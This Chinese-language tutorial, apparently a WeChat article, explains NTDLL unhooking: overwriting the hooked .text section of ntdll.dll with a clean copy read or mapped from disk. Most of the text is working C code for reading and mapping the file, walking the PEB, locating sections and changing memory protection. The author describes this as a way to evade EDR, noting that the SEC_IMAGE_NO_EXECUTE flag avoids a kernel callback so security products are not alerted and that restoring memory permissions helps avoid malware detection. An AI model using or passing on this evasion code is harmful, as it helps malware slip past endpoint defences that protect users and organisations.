一、介绍
NTDLL 解除挂钩是将加载进程中的钩子 DLL 替换为未更改的未钩子版本,用未挂钩的版本替换挂钩的 DLL 需要手动设置 IAT、修复重新分配和其他繁琐的任务。为了避免这种情况, .text 可以替换 DLL 的一部分,特别是包含挂钩的部分。文本部分包含 DLL 的导出函数代码,这是安装潜在用户空间挂钩的地方。
替换 PE 文件映像(Image File)的 .text 段,需要获取其 基址(Base Address
) 和 大小(Size)。这些信息可以通过 IMAGE_OPTIONAL_HEADER
结构体中的以下字段获取:BaseOfCode:.text 段的起始地址SizeOfCode:.text 段的大小
另一种获取 .text 段基址和大小 的方式是解析 IMAGE_SECTION_HEADER 结构体:遍历 IMAGE_SECTION_HEADER 数组,查找 .text 字符串(IMAGE_SECTION_HEADER.Name
),从而确定 .text 段的偏移和大小。
由于 .text 段默认是 可执行但不可写,因此要替换它,必须修改内存权限,使其允许写入数据。修改内存权限可以使用Windows API VirtualProtect
,具体步骤如下:获取 .text 段的地址和大小。调用 VirtualProtect,将 .text 段的权限修改为 PAGE_EXECUTE_READWRITE
或PAGE_EXECUTE_WRITECOPY
,以便能够写入新代码,同时保持可执行属性。写入新的 .text 段,覆盖原有的 Hook 代码。这样,就可以有效去除 DLL 的 Hook,而无需手动修改 IAT 或处理复杂的重定位问题。
下面使用Pe-Bear可以看到这一点,可以在 0x400 位置(1024 字节处)找到 .text 段
当DLL文件 映射到进程的内存中时,偏移量会发生变化。.text部分主要设置在偏移量为 0x1000 或 4096 的位置,如下所示。
二、Ntdll DLL取消挂钩-磁盘导入
本文介绍如何通过将已挂钩的 NTDLL 的文本段覆盖为从磁盘的 NTDLL 映像中获取的未挂钩版本来实现 NTDLL 反挂钩。执行 NTDLL 反挂钩的步骤如下:
通过读取或映射(下面展示了这两种方法)从磁盘检索一个干净版本的 NTDLL 的句柄。
获取属于当前进程的挂钩 NTDLL 的句柄。
获取挂钩 NTDLL 的文本段。
获取干净 NTDLL 的文本段。
使用未挂钩的 NTDLL 的文本段覆盖挂钩的 NTDLL 的文本段。
从磁盘获取 NTDLL
可以使用以下部分中描述的方法从磁盘获取干净的 NTDLL 版本。从磁盘读取 ntdll.dll 的一种显而易见的方法是使用 ReadFile WinAPI,它可用于从磁盘读取文件。值得记住的是,ntdll.dll 文件的文本部分将有 1024 的偏移量。
可以使用下面所示的自定义 ReadNtdllFromDisk 函数从磁盘读取 ntdll.dll 文件,该函数使用 GetWindowsDirectoryA、CreateFileA、GetFileSize 和 ReadFile WinAPI。同样,请记住,DLL 文件存储在 C:WindowsSystem32 中。
如果 ReadNtdllFromDisk 函数成功读取 ntdll.dll 文件,它将返回 TRUE。它有一个 OUT 参数 ppNtdllBuf,它保存 ntdll.dll 的基地址。
#define NTDLL "NTDLL.DLL"
BOOLReadNtdllFromDisk(OUTPVOID*ppNtdllBuf) {
CHARcWinPath [MAX_PATH/2] = { 0 };
CHARcNtdllPath [MAX_PATH] = { 0 };
HANDLEhFile=NULL;
DWORDdwNumberOfBytesRead=NULL,
dwFileLen=NULL;
PVOIDpNtdllBuffer=NULL;
// 获取 Windows 目录的路径
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) ==0) {
printf("[!] GetWindowsDirectoryA 失败,错误:%d n", GetLastError());
goto_EndOfFunc;
}
// 'sprintf_s' 是比 'sprintf' 更安全的版本
sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\System32\%s", cWinPath, NTDLL);
// 获取 ntdll.dll 文件的句柄
hFile=CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile==INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA 失败,错误:%d n", GetLastError());
goto_EndOfFunc;
}
// 分配足够的内存来读取 ntdll.dll 文件
dwFileLen=GetFileSize(hFile, NULL);
pNtdllBuffer=HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
// 读取文件
if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) ||dwFileLen!=dwNumberOfBytesRead) {
printf("[!] ReadFile 失败,错误:%d n", GetLastError());
printf("[i] 读取了 %d/%d 字节 n", dwNumberOfBytesRead, dwFileLen);
goto_EndOfFunc;
}
*ppNtdllBuf=pNtdllBuffer;
_EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (*ppNtdllBuf==NULL)
returnFALSE;
else
returnTRUE;
}
映射 NTDLL
CreateFileMappingA 和 MapViewOfFile 这两个 WinAPI 也可以用于从 C:WindowsSystem32 目录读取 ntdll.dll 文件。
当使用这些 WinAPI 时,.text 段的偏移量将变为 4096(0x1000),而不是 1024(0x400)。这是因为镜像被映射,导致 Windows 加载器应用了对齐修改。
如果在 CreateFileMappingA 调用中没有使用 SEC_IMAGE 或 SEC_IMAGE_NO_EXECUTE 标志,那么不会发生这种对齐调整,因此 .text 段的偏移量仍然是 1024(0x400)。
在下面的实现中,将使用 SEC_IMAGE_NO_EXECUTE 标志,因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着,当 ntdll.dll 被映射到内存中时,使用此标志不会触发 EDR(终端检测与响应)或其他利用此回调函数的安全产品的警报。
这一行为在 Microsoft 官方文档的 CreateFileMappingA 说明中有所提及。
通过映射 WinAPI 从磁盘获取 ntdll.dll 是通过以下自定义函数 MapNtdllFromDisk 完成的。如果 MapNtdllFromDisk 成功读取 ntdll.dll 文件,它将返回 TRUE。
#define NTDLL "NTDLL.DLL"
BOOLMapNtdllFromDisk(OUTPVOID*ppNtdllBuf) {
HANDLEhFile=NULL,
hSection=NULL;
CHARcWinPath [MAX_PATH/2] = { 0 };
CHARcNtdllPath [MAX_PATH] = { 0 };
PBYTEpNtdllBuffer=NULL;
// 获取 Windows 目录的路径
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) ==0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d n", GetLastError());
goto_EndOfFunc;
}
// 'sprintf_s' 是比 'sprintf' 更安全的版本
sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\System32\%s", cWinPath, NTDLL);
// 获取 ntdll.dll 文件的句柄
hFile=CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile==INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed With Error : %d n", GetLastError());
goto_EndOfFunc;
}
// 使用 'SEC_IMAGE_NO_EXECUTE' 标记创建 ntdll.dll 文件的映射视图
hSection=CreateFileMappingA(hFile, NULL, PAGE_READONLY|SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection==NULL) {
printf("[!] CreateFileMappingA Failed With Error : %d n", GetLastError());
goto_EndOfFunc;
}
// 映射 ntdll.dll 的文件视图
pNtdllBuffer=MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer==NULL) {
printf("[!] MapViewOfFile Failed With Error : %d n", GetLastError());
goto_EndOfFunc;
}
*ppNtdllBuf=pNtdllBuffer;
_EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf==NULL)
returnFALSE;
else
returnTRUE;
}
ReadNtdllFromDisk 和 MapNtdllFromDisk 函数执行相同任务,但将导致不同的文本段偏移量。
NTDLL 的读取与映射
在从磁盘读取 ntdll.dll 文件(而不是将其映射到内存)时,其文本部分的偏移量有时可能是 4096,而不是预期的 1024。由于文本段偏移量始终等于 DLL 文件的 IMAGE_SECTION_HEADER.VirtualAddress 偏移量,因此将 ntdll.dll 文件映射到内存更加可靠。
二、取消挂钩
取消挂接 ntdll.dll 需要采取一些步骤。这些步骤将逐步演示,以便于理解。
1 - 获取本地 Ntdll.dll 映像句柄
为了替换被 Hook 的 ntdll.dll 的 .text 段,首先必须获取该段的基址和大小。这可以通过多种方式实现,但首先需要获取 NTDLL 模块的句柄。可以使用 GetModuleHandleA("ntdll.dll") 或者使用自定义 GetModuleHandle 实现来完成这项工作。现在,将使用 FetchLocalNtdllBaseAddress 函数来完成这一任务。
PVOIDFetchLocalNtdllBaseAddress() {
#ifdef _WIN64
PPEBpPeb= (PPEB)__readgsqword(0x60); // 在 64 位系统中,获取 PEB 的地址
#elif _WIN32
PPEBpPeb= (PPEB)__readfsdword(0x30); // 在 32 位系统中,获取 PEB 的地址
#endif // _WIN64
// 直接访问 'ntdll.dll' 模块(我们知道它是本地映像名称之后的第二个映像)
PLDR_DATA_TABLE_ENTRYpLdr= (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink-0x10);
returnpLdr->DllBase;
}
pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink 是链表中第二个条目的指针。该函数跳过第一个条目,因为该条目与本地映像相关(因为第一个条目对应的模块是当前正在运行的可执行文件)。然而,第二个条目与 ntdll.dll 模块相关。
尽管 pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink 是指向第二个条目的指针,但它指向条目的结尾,而不是开头。LIST_ENTRY 结构的大小为 0x10,因此减去 0x10 可将指针移动到第二个条目的开头,如下一点所述,这是 ntdll.dll 的位置。
return pLdr->DllBase 返回 ntdll.dll 映像的句柄/基本地址。
2 - 获取本地 Ntdll.dll 的文本节
使用 FetchLocalNtdllBaseAddress 函数检索到本地 ntdll.dll 的句柄后,现在可以检索其文本节的基础地址和大小。下面演示了两种实现方法。
PIMAGE_DOS_HEADERpLocalDosHdr= (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic!=IMAGE_DOS_SIGNATURE)
returnFALSE;
PIMAGE_NT_HEADERSpLocalNtHdrs= (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll+pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature!=IMAGE_NT_SIGNATURE)
returnFALSE;
PVOIDpLocalNtdllTxt= (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode+ (ULONG_PTR)pLocalNtdll);
SIZE_TsNtdllTxtSize=pLocalNtHdrs->OptionalHeader.SizeOfCode;
BaseOfCode
是 OptionalHeader
中的一个字段,表示 .text 段的基址(即代码段的起始地址)。pLocalNtHdrs->OptionalHeader.BaseOfCode
获取了.text
段的虚拟基址。(ULONG_PTR)pLocalNtdll
将 pLocalNtdl
l(指向本地ntdll.dll
模块的指针)转换为一个整数值(地址)。这两者相加,得到 .text 段在内存中的实际地址(基址)。将其转换为 PVOID(void 指针类型),可以用来指向 .text 段的内存。
方法 2 - IMAGE_SECTION_HEADER 结构
第二种方法搜索 IMAGE_SECTION_HEADER 结构数组中的文本节,pLocalNtHdrs 是指向 NT 头(Nt headers) 结构的指针。pLocalNtdllTxt 和 sNtdllTxtSize 分别表示 .text 段的基址和大小。
当pSectionHeader[i].Name
等于 ".text" 时,if 语句会对前四个字符(即".tex"
)执行字符串比较。表达式 (*ULONG)*
将 ".tex" 的值反转为 "xet."。这是因为首先读取最不重要的字节并将其放在 ULONG 值的最重要位置,最后读取最重要字节并将其放在 ULONG 值的最不重要位置。然后,用字符串 "xet."
和 0x20202020
执行位或操作以将其对齐到 32 位边界,从而得出'xet.'
值(十六进制表示为0x7865742E
)。这是为了避免使用 strcmp 函数
PIMAGE_SECTION_HEADERpSectionHeader=IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (inti=0; i<pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// if( strcmp(pSectionHeader[i]->Name, ".text") == 0) )
if ((*(ULONG*)pSectionHeader[i].Name|0x20202020) =='xet.') {
PVOIDpLocalNtdllTxt= (PVOID)((ULONG_PTR)pLocalNtdll+pSectionHeader[i].VirtualAddress);
SIZE_TsNtdllTxtSize=pSectionHeader[i].Misc.VirtualSize;
break;
}
}
3 - 获取未挂钩的 Ntdll.dll 文本部分
下一步是要获取未挂钩的 ntdll.dll 文本部分的基本地址。可以使用 ReadNtdllFromDisk 或 MapNtdllFromDisk 函数来实现。然后简单地将这个基本地址添加到文本部分的偏移量,该偏移量会因用于获取未挂钩的 ntdll.dll 文本部分的函数而异。
如果使用 ReadNtdllFromDisk,则文本部分的偏移量将等于 1024 字节。否则,如果使用 MapNtdllFromDisk,则文本部分的偏移量将等于 NTDLL 的 IMAGE_SECTION_HEADER.VirtualAddress,通常为 4096 字节。
4 - 替换.text段
在获取了所有必要信息后,下一步是 用未 Hook 的ntdll.dll .text
段替换已 Hook 的 .text 段。这个过程通过 memcpy
实现,其中:目标地址(destination) 是 已 Hook 的 .text 段的基地址,源地址(source) 是 未 Hook 的 .text 段的基地址。由于 .text 段通常是 只读且可执行(RX) 的,因此 必须先修改其内存权限,允许写入,才能进行替换。这可以使用 VirtualProtect API
来完成,设置以下权限之一:PAGE_EXECUTE_WRITECOPY
PAGE_EXECUTE_READWRITE
在成功替换 .text 段后,必须再次调用 VirtualProtect 恢复原始权限,通常为:PAGE_EXECUTE_READ(可执行但不可写入)这样可以 避免恶意软件检测,并保持 ntdll.dll 代码段的正常安全属性。
原文始发于微信公众号(想要暴富的安服仔):Ntdll Unhook 上集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论